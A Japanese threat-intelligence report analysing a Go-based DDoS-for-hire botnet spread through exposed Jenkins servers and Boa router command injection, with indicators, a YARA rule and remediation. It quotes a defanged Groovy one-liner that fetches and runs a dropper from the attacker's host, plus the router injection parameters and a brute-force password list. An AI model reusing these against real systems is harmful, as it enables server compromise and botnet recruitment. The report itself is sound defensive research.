malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
クロスプラットフォームな Go 製 DDoS 貸出ボットネット
Kinryū Labs は、11 個のバイナリ・13 アーキテクチャの投下器スイートとして配布され、複数日にわたる Jenkins Script Console 悪用キャンペーンで送り込まれた、Go でコンパイルされた DDoS ボットネットの Windows ビルド bot.exe を分析した。ステージングホストの偵察により、稼働中で認証を要する DDoS 貸出 API、Go 製の SSH コマンドチャネル、そして同居する Mirai 系統の一族が判明した。我々はこれを商用の DDoS 貸出オペレーションであると高い確度で評価する。
著者 Davis Zheng·
TLP:CLEAR。一般公開を承認済み。本検体とその投下器スイートは、複数のセンサーで観測された複数日にわたる Jenkins 悪用キャンペーンのさなか、Kinryū Labs ハニーポット・センサーネットワークで捕捉された。捕獲したバイナリは静的に分析し、実行はしていない。操作者のステージングホストは能動的な外部偵察(サービス列挙、匿名 FTP の一覧取得、露出した API への未認証プロービング)によって特徴づけたが、認証は一切迂回していない。攻撃者の指標は無害化(defang)済み。
エグゼクティブサマリー
- 13アーキテクチャビルド、うち固有 11 バイナリ
- 5具名の DDoS メソッド、加えて貸出 API
- 3単一 /22 内で連携する送信元 IP
- 2単一ホスト上の二つのボットネット一族
bot.exe は、マルチアーキテクチャ投下器スイートとして配布される、Go でコンパイルされた DDoS ボットネットの Windows x86-64 ビルドである。付随する shell スクリプト bins.sh は、13 のアーキテクチャビルド(重複除去後は 11 個が固有)を取得し、32 ビットおよび 64 ビットの x86、四つの ARM プロファイル、ARM64、Android ARM64、ビッグエンディアンとリトルエンディアンの MIPS、そして Windows バイナリを網羅する。このスイートは、露出した Jenkins サーバーの悪用を通じてハニーポットネットワークに到達した。
このマルウェアは五つの具名のフラッドメソッド(HTTP、TLS ハンドシェイク、ICMP、直接 TLS、そして VOULT と名付けられた大量流入型メソッド)、正規のトラフィックに見せかけるためブラウザの User-Agent 文字列とロケールヘッダーを巡回させる HTTP フラッド、そして自己増殖のために RealTek SDK デバイス上の Boa ウェブサーバーを狙うコマンドインジェクションのペイロードを内蔵している。185.226.93[.]242 にあるステージングホストの偵察により、ポート 3333 上で認証を要する DDoS 貸出 API、ポート 2222 上でコマンドチャネルとして機能する Go 実装の SSH サービス、そして Mirai/Gafgyt 系統の第二のボットネット一族をステージングする匿名 FTP サービスが判明した。
Kinryū Labs は、bot.exe が商用の貸出サービスとして運営される、悪意ある自己増殖型のマルチアーキテクチャ DDoS ボットネットの一部であると高い確度で評価する。この評価を支えるのは三つの所見である。バイナリ自身が持つ攻撃メソッドと悪用の文字列、ジョブパラメータを検証し認証を要求する操作者ステージングホスト上の稼働中の貸出 API、そしてスイートを送り込む持続的でマルチノードなキャンペーンのハニーポットテレメトリである。
- bot.exe はクロスプラットフォームな Go 製 DDoS ボットネットである。 五つの異なるフラッドメソッドのログ文字列が標的と持続時間のパラメータを保持し、それに加えてブラウザ偽装の機構と SOCKS5 のサポートが、いずれも難読化されていない文字列として存在し、稼働中の API によって裏付けられている。
- このオペレーションは商用の DDoS 貸出サービスとして運営される。 ステージングホストはポート 3333 上に API を露出し、ジョブパラメータ(
user、psw、host、method、time、port)を検証し、不正な資格情報を拒否する。 - このボットネットは IoT のコマンドインジェクションを通じて自己増殖する。 バイナリは Boa の
formSysCmdコマンドインジェクションのペイロード、ルーターのログインを総当たりする経路、そしてエクスポートされたloginDeviceとloginDeviceCaptchaの関数を保持し、ハニーポットのログに記録されたのと同じ投下器の一行を注入する。 - 三つの送信元 IP は単一の操作者である。
185.226.92[.]0/22内の三つのアドレスが、連携したタイミングと共有の資格情報リストで同一のペイロードを送り込み、配信 IP とステージング IP は同一の SSH ホスト鍵を提示しており、単一ホストか、複製されたイメージであることを示す。
配信:持続的な Jenkins Script Console キャンペーン
このスイートは、インターネットに露出した Jenkins インスタンスの悪用によって配信された。ハニーポットのテレメトリは一貫した二段階の手法を記録した。CSRF トークンを取得する GET /crumbIssuer/api/json、それに続いて Groovy の Script Console ペイロードを載せた POST /script である。ペイロードは試行を通じて同一で、ここでは無害化してある。
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
リクエストは admin アカウント向けに弱い数字パスワードの短い辞書(admin:1123、admin:123451、admin:1231231、admin:1111111、admin:12345123)を巡回させる Authorization: Basic ヘッダーを保持しており、これは標的を定めた認証ではなく自動化された資格情報リストの特徴である。
キャンペーンは数日にわたり、繰り返しの波として展開した。
- 第 1 波最初のプローブ:ステージング IP と同一ブロック内の第二のアドレスからの、CSRF クラム確認に続く Groovy RCE。
- 捕獲
bins.shと 13 の全バリアントを、およそ 14 時間隔てた二つのセンサーで回収。両者ともバイト単位で同一。 - 後続の波三つの全送信元 IP からの、数分以内に相前後した並行悪用。User-Agent は巡回。
悪用リクエストは現実的なブラウザ User-Agent の大きな集合を巡回させたが、さらなる Jenkins 標的を探す偵察スイープ(/login の取得に続く /script リクエストの高速な連射)は既定の Go-http-client/1.1 を用いた。偽装した User-Agent は悪用ペイロードに乗り、スキャナーはボットネットのネイティブな Go クライアントを用いる。ステージングと C2 のホスト自身も悪用に加わっており、攻撃とホスティングのインフラは分離されていない。
マルウェア:一つの Go コードベース、11 のバイナリ
ボットを Go で書けば、一つのコードベースを操作者が望むあらゆる標的へクロスコンパイルできる。投下器はこの製品ラインの全体を巡り、各ビルドを wget で、フォールバックとして再び curl で取得し、実行可能にして実行し、削除する。スイートには Windows の .exe が含まれ、Linux の投下器はそれをなお chmod +x にかけるし、スクリプトの生成された構造はビルド・一覧化のパイプラインを示唆する。重複除去後、13 のビルドは 11 の固有バイナリに減る。x86 と i386 のビルドが一致し、汎用 ARM と ARMv7 のビルドも同様である。MIPS やレガシー ARM から Android までのアーキテクチャの広がりは、ルーター、カメラ、その他の組込みデバイスを狙ったボットネットであることを示す。Windows ビルドは同じコードをデスクトップとサーバーへ運ぶ。
バイナリはパックされておらず(PE セクションのエントロピーは 5.4 から 6.3 の間に収まる)、ストリップもされていない(Go ビルド ID とランタイムシンボルが無傷)ため、その機能は平文の文字列に露わになっている。コンパイルのタイムスタンプはゼロ化されているが、これは Go ビルドでは通常のことである。
五つのフラッドメソッドがバイナリのログ文字列で具名されており、それぞれ標的と持続時間を伴って整形される。「HTTP (Optimized)」フラッド、TLS/TCP の「Handshake」枯渇フラッド、ICMP の「PING」フラッド、直接的な「TLS+」セッションフラッド、そして「VOULT」メソッド(大量流入型で、おそらく UDP ベース)である。アプリケーション層とネットワーク層の両方の選択肢が存在する。
HTTP フラッドは正規のトラフィックとして通るよう作られている。Windows、macOS、iPad、Android 上の Chrome、Edge、Opera、Firefox、Safari にまたがる十を超えるブラウザ User-Agent 文字列、十五の Accept-Language ロケール、そして緩和サービスが精査する sec-fetch-* と sec-ch-ua-* のフィンガープリントヘッダーを巡回させる。Referer は評判の高いサイトの小さな集合(google.com、reddit.com、facebook.com、bing.com、twitter.com、fbi.gov)から設定する。User-Agent の集合の一つはリテラル文字列 Hello World であり、これは開発者のプレースホルダーで、正規のクライアントは一切送らないため、きれいな検知シグネチャになる。
増殖は Boa ウェブサーバーを狙う。これは多くの RealTek SDK ルーターやカメラに今なお搭載されている小さな組込み HTTP デーモンだ。バイナリは Boa の formSysCmd ハンドラーを狙うコマンドインジェクションのペイロードと、ルーター管理インターフェースを狙うログイン総当たりの経路を、JSON の資格情報フィールドとエクスポートされた関数 loginDevice および loginDeviceCaptcha とともに保持する。注入されるコマンドは投下器の一行なので、侵害されたデバイスは次のデバイスへの配信地点となる。
ベンダリングされた Go モジュールはすべて標準の golang.org/x パッケージであり、サードパーティの C2 フレームワークはリンクされていない。それらには chacha20poly1305、http2/hpack、dns/dnsmessage、http/httpproxy が含まれ、観測可能な機能——認証暗号化されたチャネル、HTTP/2、生の DNS、SOCKS5 プロキシ(文字列 socks5、socks connect、socksUsernamePassword が存在する)——と合致する。C2 の設定は実行時に hxxp://<C2>/config.dat から取得され、バイナリに唯一ハードコードされたアドレスはステージングホストである。
コマンド&コントロールとステージングインフラ
ステージングホストの偵察により、以下のサービスが判明した。
| ポート | サービス | 用途 |
|---|---|---|
| 21/tcp | vsftpd 3.0.3、匿名ログイン有効 | マルウェアのステージング(第二の一族、後述) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | 操作者アクセス |
| 1001/tcp | Go net/http サーバー | 主要ステージング:bins.sh とバリアントを提供 |
| 2222/tcp | Go SSH (SSH-2.0-Go) | ボットのコマンドチャネル |
| 3333/tcp | Go net/http サーバー | DDoS 貸出 API |
貸出という評価を二つの所見が支える。配信 IP とステージングホストは同一の ED25519、RSA、ECDSA の SSH ホスト鍵を提示しており、同一のマシン上か、一つのテンプレートから複製されたイメージ上に置いていることを示す。加えて、ポート 2222 の Go SSH サービスはポート 22 のシステム OpenSSH とは別個の鍵を提示しており、フォワードではなく独立したアプリケーションであることを示す。ポート 3333 の API はパラメータ(user、psw、host、method、time/duration、port)が欠けたリクエストを拒否し、テスト用の資格情報には認証失敗を返し、他のすべてのパスは 404 を返す。これは商用ブーターの、リクエストごとに認証する最小限のインターフェースであり、稼働中のインフラ上で動いている。
同一ホスト上の第二の一族
匿名 FTP サービスは別個のボットネット一族をステージングしており、ここではそのファイル名にちなんで「boatnet」と呼ぶ。その投下器(ohshit1.sh)は BusyBox の ftpget クライアントを用い、各バイナリを実行前に WTF へ改名し、Mirai/Gafgyt 系統の風変わりな組込み標的(ARC、m68k、SH4、SPARC)を含む十五のアーキテクチャにわたってビルドをバックグラウンドで起動する。これらのバイナリは C でコンパイルされた ELF で、ストリップされ、パックされている(エントロピー 7.6 から 7.9、UPX マジックはなく、独自のパッカーを示す)ため、静的レビューではほとんど残らない。boatnet の成果物は bot.exe スイートより古く、無関係のコードベースを走らせているので、一つのホストが二つの異なるボットネット一族をステージングしている。
ホスティング
両攻撃者 IP は 185.226.92[.]0/22 に収まり、RIPE NCC を通じてトルコを拠点とする VPS プロバイダー(ネットワーク名 BIGCORE-US、AS205196 / AS57152)に登録されており、アビューズ連絡先は [email protected] である。我々は報告目的でホスティングプロバイダーを特定するにとどめ、操作者の身元については何ら主張しない。
侵害指標
攻撃者インフラは無害化済み。検体ハッシュと検知文字列は設計上、実際の値を保持している。
ネットワーク
| 指標 | 説明 |
|---|---|
185.226.93[.]242 | ステージング + C2 ホスト。稼働中のスキャナーでもある |
185.226.92[.]110 | 主要スキャナー / 配信ノード |
185.226.92[.]173 | 副次スキャナー |
185.226.92[.]0/22 | ホスティング割り当て(BIGCORE、AS205196)。妥当な境界ブロック |
185.226.93[.]242:1001 | HTTP ステージング(bins.sh + バリアント) |
185.226.93[.]242:2222 | Go SSH コマンドチャネル |
185.226.93[.]242:3333 | DDoS 貸出 API(/api、パラメータでゲート) |
185.226.93[.]242:21 | 匿名 FTP、boatnet のステージング |
hxxp://<C2>/config.dat | 実行時の C2 設定取得パターン |
/boafrm/formSysCmd、/boafrm/formLogin | 外向き増殖における Boa の RCE とログイン総当たりの URI |
SSH ホスト鍵 (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | 配信 IP と C2 IP で共有。ピボット指標 |
ファイル
| ファイル | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (投下器) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
投下器スイートの全ハッシュ(13 ビルド中の固有 11 個)
| ビルド | SHA-256 | サイズ(バイト) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
ホスト上の痕跡と資格情報
- Jenkins
admin総当たり辞書:1123、123451、1231231、1111111、12345123。 ohshit1.sh(boatnet 投下器)と、実行前にWTFへ改名されたバイナリ。- 特徴的な User-Agent:
Hello World(ボットの HTTP フラッド)とGo-http-client/1.1(ボットの自己スキャン)。
挙動
- Jenkins の
GET /crumbIssuer/api/jsonに続く、bins.shを取得する Groovy のProcessBuilder('sh','-c', …)ペイロードを載せたPOST /script。 Connecting to CNC...のログ行に先行される、/config.dat下のホストへの外向きリクエスト。sysCmdselect=5とwget … bins.shの本文を伴う受信POST /boafrm/formSysCmd。
検知
文字列は安定しており難読化されていないため、シグネチャは素直に作れる。以下の YARA ルールは検証済みの文字列から構築した候補である。展開前に検証すること。
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
ネットワーク検知:
- Jenkins:生の IP への
wget/curlを伴うProcessBuilderを含むPOST /scriptの本文、とりわけGET /crumbIssuer/api/jsonに先行されるものに対してアラートする。 - IoT 増殖:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";。 - インフラ:配信 IP と C2 IP を含む
185.226.92[.]0/22をブロックし、その範囲内のポート 1001、2222、3333 への外向き接続にアラートする。
是正措置
- Jenkins をインターネットに晒さないこと。 認証とネットワーク隔離の背後に置き、非管理者向けの Script Console を無効化し、到達可能なビルドサーバーをホスト全体の侵害リスクとして扱うこと。これが配信ベクターだった。
- 強力な Jenkins 資格情報を強制し、認証をレート制限すること。 キャンペーンは
admin向けの弱い数字パスワードの短い辞書に依存していた。 - RealTek/Boa ベースのルーターと IoT デバイスをセグメント化するか置き換え、 それらの管理インターフェースへの外部アクセスをブロックすること。これらはボットネットの増殖標的である。
- ホスティング割り当て(
185.226.92[.]0/22)を境界でブロックし、 Boa の RCE URI とconfig.datの取得パターンにアラートすること。 - エグレスをフィルタリングすること。 アーキテクチャ名のファイルを取りに生の IP のポート 1001 に到達するホスト、あるいはその範囲内のポート 2222 または 3333 に接続するホストは異常であり、ホスト検知がない場合でも捕捉できる。
- インフラを通報すること。 DDoS 貸出 API と FTP でステージングされたマルウェアは、ホスティングプロバイダーのアビューズ連絡先(
[email protected])に通報できる。
MITRE ATT&CK マッピング
| 戦術 | 技術 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application(Jenkins Script Console;増殖用の Boa formSysCmd) |
| Credential Access | T1110.001 Brute Force: Password Guessing(Jenkins admin);T1110.004 Credential Stuffing(IoT ログイン) |
| Execution | T1059 Command and Scripting Interpreter(Script Console 経由の Groovy;Unix shell 投下器) |
| Discovery | T1046 Network Service Scanning(Jenkins/IoT 自己スキャン);T1082 System Information Discovery;T1057 Process Discovery |
| Defense Evasion | T1036 Masquerading(ブラウザ User-Agent の巡回;boatnet の WTF 改名) |
| Command and Control | T1071.001 Web Protocols(config.dat);T1573 Encrypted Channel(ChaCha20-Poly1305;2222 上の Go SSH);T1571 Non-Standard Port(1001/2222/3333);T1090.001 Internal Proxy: SOCKS |
| Lateral Movement / Delivery | T1105 Ingress Tool Transfer(マルチアーキテクチャのステージング) |
| Impact | T1498.001 Direct Network Flood(PING、VOULT);T1498.002 Reflection Amplification(ハンドシェイク枯渇) |
手法とアナリストノート
- 範囲:捕獲したバイナリの静的分析(実行はしていない)と、ステージングホストの能動的な外部偵察(サービスとバナーの列挙、匿名 FTP の一覧取得、ポート 3333 の API への未認証プロービング)。認証は一切迂回していない。
- YARA ルールは検証済みの文字列から構築した候補である。展開前に検証すること。boatnet のバイナリはパックされており、文字列はわずかしか得られなかった。
- 検体(bot.exe スイート、投下器、boatnet の成果物)は、他の研究者や防御側の求めに応じて提供可能。[email protected] まで、あなたが誰で何のために必要かを短く添えてメールを。